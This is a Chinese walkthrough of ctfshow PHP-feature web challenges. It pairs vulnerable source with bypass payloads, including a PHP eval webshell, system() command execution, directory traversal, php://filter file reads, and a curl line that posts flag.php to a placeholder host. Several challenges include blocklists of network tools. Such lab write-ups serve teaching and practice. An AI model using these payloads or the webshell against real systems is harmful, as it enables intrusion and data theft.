ctfshow web入门 php特性

web89

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

这题需要get传一个num的参数,首先需要num中没有数字,然后需要intval($num)!=0。看下intval()函数的定义:

int intval ( mixed $var [, int $base = 10 ] )
intval() 函数用于获取变量的整数值。
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

并且preg_match有漏洞,它无法处理数组。所以想要它不等于0,可以传入一个非空的数组

payload:

?num[]=1

web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这题需要让$num!=4476,但是intval($num,0)===4476,由上一题的引用可以知道:intval() 函数用于获取变量的整数值,所以只需要传一个4476开头带小数的数字就可以了

payload:

?num=4476.1

web91

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

这题考察的是正规匹配的漏洞,先看一下匹配的用法:

^:匹配字符串开始的位置
$:匹配字符串结束的位置
/i:表示匹配的时候不区分大小写
/m:表示多行匹配,使边界字符 ^ 和 $ 匹配每一行的开头和结尾

这题需要在多行匹配时出现php,但在单行匹配时不能出现,可以用换行符%0a

payload:

?cmd=%0aphp

web92

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

姿势一

同web90

姿势二

可以通过进制转换来实现

payload:

?num=0x117c 

117c是4476的16进制数,前面加上0x,intval函数就能自动将它转换为十进制。

姿势三

intval()函数如果在$base=0的情况下,$var中存在字母时,遇到字母就停止读取。而e在php中有科学计数法的作用。

payload:

?num=4476e41

web93

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这题有两种姿势,一种还是同web90,另一种是通过八进制绕过。
虽然它ban了所有的字母,但是八进制是没有任何字母的,只有数字。

payload:

?num=010574

10574是4476的八进制数,前面再添上一个0,让intval()函数将其由八进制转换为十进制。

web94

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

这题相比于上面,又多了一个strpos()函数,看这个函数的定义:

strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写且从0开始)。如果没有找到字符串则返回 FALSE。

根据定义,这题的$num参数中必须满足这几点:

  1. 值不能是4476
  2. 不能含有字母
  3. 值中必须有0,但第一个数字不能是0
  4. intval($num,0)===4476

那么也同web90的方法,可以采用小数,但是还要加0

payload:

?num=4476.01

web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

这题在上一题的基础上又过滤了.,不能用小数了。但还是可以用八进制的方法绕过

payload:

?num= 010574  //注意开头的空格
?num=+010574
?num=%09010574

这样开头的第一个就不是数字0了,也能绕过strpos()函数。

web96

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

姿势一

直接伪协议包含出来

payload:

?u=php://filter/read=convert.base64-encode/resource=flag.php

姿势二

用Linux的命令./,表示当前目录下的文件,或者直接绝对路径。

payload:

?u=./flag.php
?u=/var/www/html/flag.php

web97

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这题要post传a和b的参,使a和b值不等,md5值强相等,就要用到数组

payload:

a[]=1&b[]=2

因为md5()函数处理不了数组,会返回NULL,最终就是NULL===NULL从而相等。

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

还是太菜了,看到这题的代码居然看不懂。第一句的意思是无论GET请求什么,都会被POST请求覆盖掉。而&可以理解为C++中引用的意思。
接下来两句代码没什么用,最后一句是要GET传HTTP_FLAG的值为flag,因为第一句存在变量覆盖,所以这里需要POST传参,GET传的参任意即可。

payload:

GET:?x=x
POST:?HTTP_FLAG=flag

web99

<?php
highlight_file(__FILE__);
$allow = array();   //将$allow设置为数组
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

先看函数定义:

array_push ( array &$array , mixed $value1 , mixed $… = ? ) : int
array_push() 将 array 当成一个栈,并将传入的变量压入 array 的末尾。

in_array ( mixed $needle , array $haystack , bool $strict = false ) : bool
在大海(haystack)中搜索针( needle),如果找到 needle 则返回 true,否则返回 false。

因为in_array用的是php中弱比较,因此1.php会被转化成1,而rand()函数每次都从1开始,有1的概率是非常大的,所以选择1.php,然后file_put_contents()函数就会向该文件中写入我们想要的命令,造成命令执行。

payload:

GET:?n=1.php
POST:content=<?php eval($_POST[a]);?>
//访问1.php
a=system("ls");
a=system("tac flag36d.php");

web100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
}
?>

看注释得知flag在类ctfshow中,然后是运算符优先级的问题:

php中,and和&&都表示逻辑与,or和||都表示逻辑或,他们之间的区别就是运算的优先级不同,&&>=>and
||>=>or

因此在$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3)中,=的优先级大于and,所以只要v1的值是数字,就能让if语句成立。

下面是正则表达式的部分,要看仔细,v2中不能有分号,v3中必须有分号。

姿势一

使用反射类ReflectionClass
payload:

?v1=1&v2=echo new ReflectionClass&v3=;

为了更好的理解反射类,羽师傅举了个例子:

<?php
class A{
public static $flag="flag{2u0_t1_ya0_xia0_2he_2u0}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
/*输出
 array(1) {
  ["PI"]=>
  float(3.14)
}*/

var_dump($a->getName());    获取类名
/*输出
string(1) "A"*/

var_dump($a->getStaticProperties()); 获取静态属性
/*输出
array(1) {
  ["flag"]=>
  string(15) "flag{2u0_t1_ya0_xia0_2he_2u0}"
}*/

var_dump($a->getMethods()); 获取类中的方法
/*输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }*/
}

姿势二

可以直接rce

payload:

?v1=1&v2=echo `ls`/*&v3=*/;
?v1=1&v2=system("cat ctfshow.php")/*&v3=*/;

姿势三

因为题中说了,flag在类ctfshow中,可以用var_dump输出

payload:

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

web101

这题主要是针对上一题的非预期解过滤了很多东西,做法同上一题姿势一。

web102-103

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

先看函数的定义:

substr(string,start,length)
返回字符串的一部分。
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。

call_user_func ( callable $callback , mixed $parameter = ? , mixed $… = ? ) : mixed
把第一个参数作为回调函数调用
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

这题要POST传一个v1,GET传v2和v3,在上一题提到优先级,只需要v2的值是数字就可以了,在if语句中,将v2从第三个字符开始截取,到结束,赋给$s

如果v1传的值是一个函数的话,call_user_func()就会使用这个函数,将函数的结果赋给$str

最后是用file_put_contents()函数将$str写入到文件v3

v2既要是数字,又要能执行命令,想到hex2bin()函数,它可以将十六进制字符转为字符串,那么这里就可以用php://filter/write=convert.base64-decode/resource的伪协议来写入命令。

由于is_numeric()函数存在,v2中只能有数字和e,所以必须找到base64编码、十六进制转换后只有数字和e的,就是<?=`cat *`;,base64编码后是PD89YGNhdCAqYDs=,去掉=,转换为十六进制是5044383959474e6864434171594473,因为substr()从第三位开始截取,所以前面再加上两个数字。

payload:

GET:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=12.php
POST:v1=hex2bin

然后访问12.php,在源码中出现flag。

web104

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

sha1()函数无法处理数组,遇到数组时会报错并返回false==是弱比较,这时会相等。

payload:

GET:?v2[]=1
POST:v1[]=2

web105

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

这题的考点是$$的变量覆盖,GET和POST获得的参数是以键值对的形式存储的,这里用foreach()来遍历,第一个foreach是GET的键不能是error,第二个是POST的值不能是flag,重点是接下来的if语句,如果POST传的键flag的值不为flag,程序就结束,并输出$error

payload:

GET?a=flag
POST:error=a

先将flag的值赋给a,然后再将a的值,也就是flag,赋给error,利用die()函数输出

web106

同web104,利用0e或数组绕过。

web107

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}
?>

这题考察parse_str()函数,先看定义:

parse_str(string,array)
parse_str() 函数把查询字符串解析到变量中。
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。

这题函数中是有两个参数的,也就是会把前面参数(变量)存储到后面参数(数组)中。

payload:

GET:?v3=a  //a可以是任意字符
POST:v1=flag=0cc175b9c0f1b6a831c399e269772661  //a的md5值

web108

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

先看函数定义:

ereg ( string $pattern , string $string , array &$regs = ? ) : int
以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。

strrev(string)
反转字符串。

这题ereg()函数要求所有字符都必须是大小写字母,但是想要得到flag,又必须有数字,这时就可以用到ereg()的%00截断漏洞,当ereg读到%00时就被截止。

payload:

?c=a%00778

0x36d的十进制就是877,倒过来是778

web109

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

看羽师傅的博客,只要让new后面有个类不报错,就可以随意构造。

姿势一

利用反射类
payload:

?v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass&v2=system("cat fl36dg.txt")

姿势二

利用php中的异常处理类

异常处理在 PHP 中的具体体现就是,PHP 提供了一个名叫 Exception 的类完成对 PHP 程序异常的处理,这个类包含了一些处理异常的函数,这些函数可以捕获程序异常和错误。

?v1=Exection&v2=system("ls")
?v1=Exection&v2=system("cat fl36dg.txt")

web110

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}
?>

这题要用到一个新的类FilesystemIterator类获取指定目录下的所有文件。

先看例子

<?php
$a=new FilesystemIterator('.');
while($a->valid()){
	echo $a->getFilename()."\n";
	$a->next();
}
?>

输出结果:
在这里插入图片描述
还差路径,可以用getcwd()函数:

getcwd()获取当前工作目录 返回当前工作目录

payload:

?v1=FilesystemIterator&v2=getcwd

然后直接访问这个文件即可获得flag

web111

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}
?>

这题考察全局变量GLOBALS的使用

$GLOBALS — 引用全局作用域中可用的全部变量。
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
即出现过的全局变量,就可以通过$GLOBALS这个数组取得。

将全局变量传给v2,再利用getFlag()函数中$$变量覆盖,赋值给v1

payload:

?v1=ctfshow&v2=GLOBALS

web112

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

经典文件包含,禁用了base64、rot13、input、data,可以用ucs-2

姿势一

?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

得到的flag是ucs-2加密的,我用c++写了个解密的代码

#include<iostream>
using namespace std;
int main()
{
	char str1[] = { 'f','$','a','l','=', 'g','c','"','f','t','h','s','w','o','6','{','2','2','5','d','6','5','-','8','0','9','f','2','4','-','e','3','-','0','e','9','a','4','0','-','0','d','3','1','8','c','c','b','e','7','}','f',';','"' };
	char str2[100];
	for (int i = 0; i < 54; i += 2)
	{
		str2[i] = str1[i + 1];
		str2[i + 1] = str1[i];
	}
	for (int i = 0; i < 54; i++)
	{
		cout << str2[i];
	}
}

姿势二

精简版payload:

?file=php://filter/resource=flag.php

姿势三

quoted-printable加密

?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php

姿势四

compress.zlib伪协议

?file=compress.zlib://flag.php

web113

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

姿势一

考点是php7.4的小trick,在Linux中,/proc/self/root代表的是根目录

root@baba:/# ls /proc/self/root
bin   dev  home        initrd.img.old  lib32  libx32      media  opt   root  sbin  sys  usr  vmlinuz
boot  etc  initrd.img  lib             lib64  lost+found  mnt    proc  run   srv   tmp  var  vmlinuz.old
root@baba:/# ls
bin   dev  home        initrd.img.old  lib32  libx32      media  opt   root  sbin  sys  usr  vmlinuz
boot  etc  initrd.img  lib             lib64  lost+found  mnt    proc  run   srv   tmp  var  vmlinuz.old

可以多次重复来使函数溢出,require_once包含的软链接层数较多时 once 的 hash 匹配会直接失效造成重复包含。

payload:

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

测试了下,最少需要21个/proc/self/root才能溢出

姿势二

同上一题姿势四。

web114

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

hhhh,没过滤php://filter

payload:

?file=php://filter/resource=flag.php

web115

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

过滤的有点小狠,可以先用php fuzz来测试下哪些字符可用

<?php
	for($i=0;$i<=128;$i++){
		$x=chr($i).'1';
		if(is_numeric($x)==true&&trim($x)!=='1'){
			echo urlencode(chr($i))."\n";
		}
	}
?>

在这里插入图片描述
可以看到最终结果,除了%0c,其他全部被ban了,所以最后结果唯一

payload:

?num=%0c36

web123

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

这题知识可以参考利用PHP的字符串解析特性Bypass,参考里面的结果:foo%20bar和foo+bar等效,均解析为foo bar

payload:

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

这题给过滤了不少关键字,那么就选择在其他地方输入flag

payload:

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
GET:?1=flag.php

web126

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

GET或POST方式传进去的变量名,会自动将空格 + . [转换为_,这里用羽师傅测试的例子

<?php
$a=$_SERVER['argv'];
var_dump($a);

传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }

payload:

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
GET:?a=1+fl0g=flag_give_me

web127

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

因为过滤了. [ +,还能用空格来实现

payload:

?ctf show=ilove36d

web128

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}

这题主要考察的是_()get_defined_vars()两个函数的使用,call_user_func('_','phpinfo')最后会返回phpinfoget_defined_vars()返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:

?f1=_&f2=get_defined_vars

web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

先看stripos()函数定义

strpos(string,find,start)
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)
string 必需。规定被搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。

姿势一

这题考察的是目录穿越漏洞

payload:

?f=/ctfshow../../../../../../../../var/www/html/flag.php

姿势二

看羽师傅的博客,filter伪协议支持多种编码方式,无效的会被忽略掉

payload:

?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web130

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

emmm,这题本来是准备输入个ctfshow试试的,结果flag直接出来了。还有一种非预期,就是利用数组来绕过,也是可行的。

payload:

f=ctfshow
f[]=ctfshow

web131

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;
}

参考羽师傅的博客,这题的考点是最大回溯次数绕过,PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit

回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false

那么这题可以自己去写一个脚本,来构造一个几十万长度的字符串并提交,但是,字符串的长度有限制,太长或太短都会失败,太长时会返回Too Large,太短会返回bye,在写脚本时要注意。这个脚本主要是用的二分法(hhh学了爬虫后写的第一个脚本):

import requests

if __name__ == '__main__':

    url = 'http://e2000e1f-a51c-4b8a-b066-d7f1c46a7ca8.chall.ctf.show:8080/'
    high = 1000000
    low = 100000
    while True:
        mid = int((high + low) / 2)
        data = {
            'f': 'haha' * mid + '36Dctfshow'
        }
        r = requests.post(url=url, data=data)
        if 'ctfshow{' in r.text:
            print(r.text)
            break
        elif 'Too Large' in r.text:
            high = mid
        elif 'bye' in r.text:
            low = mid

web132

进去直接访问robots.txt,发现/admin路径,访问后获得源码

<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

可以在本地模拟一下各种可能,最终发现这一种是可行的

<?php
if(false&&false||true){
	echo 123;
}
?>

payload:

?code=admin&username=admin&password=1

最后看群主给的hint,就懂为什么这个组合正确了:

对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。

第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ===“admin”#成功绕过

web133

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

这题一开始我以为是7个字符的命令执行,后面发现是变量覆盖。

在get传参?F=`$F `;sleep 3,发现会多加载三秒,因为在`substr()`函数截取后,
得到`$F `; 
会执行eval("`$F `;")
这时候再带入原来的$F,可以得到eval("``$F `;sleep 3`` `;")
此时在后面就执行了sleep 3的命令

因此,这题考察的是无回显的rce,可以用curl外带的方法,这里学到了在无公网ip的情况下利用burp来查看flag。

payload:

?F=`$F `;curl -X POST -F xx=@flag.php http://xxx

在这里插入图片描述
在这里插入图片描述
先点击1的按钮后,将地址复制到payload中的xxx位置处执行,然后就能找到flag

web134

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

可以先在本地做一个测试

<?php
parse_str($_SERVER['QUERY_STRING']);
var_dump($_POST);
?>

在这里插入图片描述
也就是$_POST[a]存在且值为1,因为题中有extract($_POST);,最终也就是$a=1

payload:

?_POST[key1]=36d&_POST[key2]=36d

web135

<?php

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

发现并没用过滤nl,那么就可以了,其他还有paste

payload:

?F=`$F `;nl f*>a

然后去访问url/a即可获得flag

web136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

这题考察的是对Linux中tee命令的使用

tee [-ai][–help][–version][文件…]
-a或–append  附加到既有文件的后面,而非覆盖它.
-i或–ignore-interrupts  忽略中断信号。
–help  在线帮助。
–version  显示版本信息。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。

?c=ls | tee a

然后访问url/a,查看当前目录的文件,发现只有一个index.php,于是继续用命令

?c=ls / | tee b

查看根目录下文件,发现f149_15_h3r3,最后用

?c=cat f149_15_h3r3 | tee c

查看到flag

web137

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);

call_user_func()函数将第一个参数作为回调函数调用,这题主要考察如何调用类中的静态函数

payload:

ctfshow=ctfshow::getFlag

->::调用函数的区别:

-> 调用实例方法
:: 调用静态方法
在类里面的时候,$this->func()和self::func()没什么区别。
在外部的时候,->必须是实例化后的对象使用;而::可以是未实例化的类名直接调用。

web138

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

首先想到数组绕过,call_user_func()不仅可以传字符串,也可以传数组

payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

先略过

web140

<?php
error_reporting(0);
